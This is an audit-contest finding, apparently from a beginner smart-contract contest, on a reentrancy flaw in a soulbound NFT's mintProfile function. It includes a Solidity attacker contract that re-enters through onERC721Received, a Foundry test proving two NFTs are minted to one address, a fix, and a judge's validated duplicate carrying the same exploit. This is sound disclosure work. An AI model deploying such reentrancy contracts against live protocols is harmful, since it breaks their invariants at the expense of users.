DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile via _safeMint Callback Allows Minting Multiple NFTs Per Address

CEI Violation in mintProfile Enables Reentrancy Through onERC721Received, Breaking the Soulbound Invariant

Description

  • mintProfile is designed to enforce a strict one-profile-per-address rule — the soulbound guarantee that is the foundation of the protocol's identity system.

  • _safeMint is called before profileToToken[msg.sender] is written, violating the Checks-Effects-Interactions pattern. When msg.sender is a contract, _safeMint
    triggers the onERC721Received callback before state is updated. At that point profileToToken[msg.sender] is still 0, so a re-entrant call to mintProfile passes the
    uniqueness check and mints a second NFT. The outer call then resumes and overwrites profileToToken[msg.sender] with the first token ID, leaving the second NFT as an
    orphan permanently assigned to the attacker address.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists"); // passes on re-entry — state not yet written

  uint256 tokenId = ++_nextTokenId;                                                                                                                                

@> _safeMint(msg.sender, tokenId); // triggers onERC721Received — attacker re-enters here

  // state is written AFTER the external call — CEI violated                                                                                                       
  _profiles[tokenId] = Profile(name, age, profileImage);                                                                                                           

@> profileToToken[msg.sender] = tokenId;

  emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);

}

Risk

Likelihood:

  • Any contract that implements onERC721Received can trigger this — the attacker deploys a minimal malicious contract and calls mintProfile once.

  • No capital, flash loan, or governance vote is required — only a contract deployment costing a few dollars in gas.

Impact:

  • The attacker holds multiple NFTs on a single address, breaking the one-profile-per-address invariant that the protocol's trust model depends on.

  • Protocol state becomes inconsistent — _nextTokenId advances beyond the number of valid profiles, and orphaned token IDs exist with no corresponding profileToToken
    entry.

Proof of Concept

contract MaliciousContract {
SoulboundProfileNFT soulboundNFT;
uint256 counter;

  constructor(address _soulboundNFT) {                  
      soulboundNFT = SoulboundProfileNFT(_soulboundNFT);                                                                                                           
  }                                                     
                                                                                                                                                                   
  function attack() external {
      soulboundNFT.mintProfile("Evil", 99, "malicious.png");                                                                                                       
  }                                                     
                                                                                                                                                                   
  function onERC721Received(
      address,                                                                                                                                                     
      address,                                          
      uint256,
      bytes calldata
  ) external returns (bytes4) {
      if (counter == 0) {
          counter++;                                                                                                                                               
          soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
      }                                                                                                                                                            
      return 0x150b7a02;                                
  }                                                                                                                                                                

}

function test_M04_ReentrancyMintsMultipleNFTs() public {
MaliciousContract attacker = new MaliciousContract(address(soulboundNFT));
attacker.attack();

  // Attacker holds 2 NFTs on one address
  assertEq(soulboundNFT.balanceOf(address(attacker)), 2);                                                                                                          
                                                                                                                                                                   
  // profileToToken only tracks one — second NFT is an orphan                                                                                                      
  assertEq(soulboundNFT.profileToToken(address(attacker)), 1);                                                                                                     

}

Recommended Mitigation

Move _safeMint to after all state updates, strictly following CEI:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");

  uint256 tokenId = ++_nextTokenId;                                                                                                                                
  • _safeMint(msg.sender, tokenId);

    _profiles[tokenId] = Profile(name, age, profileImage);
    profileToToken[msg.sender] = tokenId;

  • _safeMint(msg.sender, tokenId);

    emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
    }

Alternatively, replace _safeMint with _mint — since transferFrom already reverts unconditionally, the NFT can never reach a non-receiver contract through normal
transfers, making the callback check redundant.

  • _safeMint(msg.sender, tokenId);

  • _mint(msg.sender, tokenId);

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!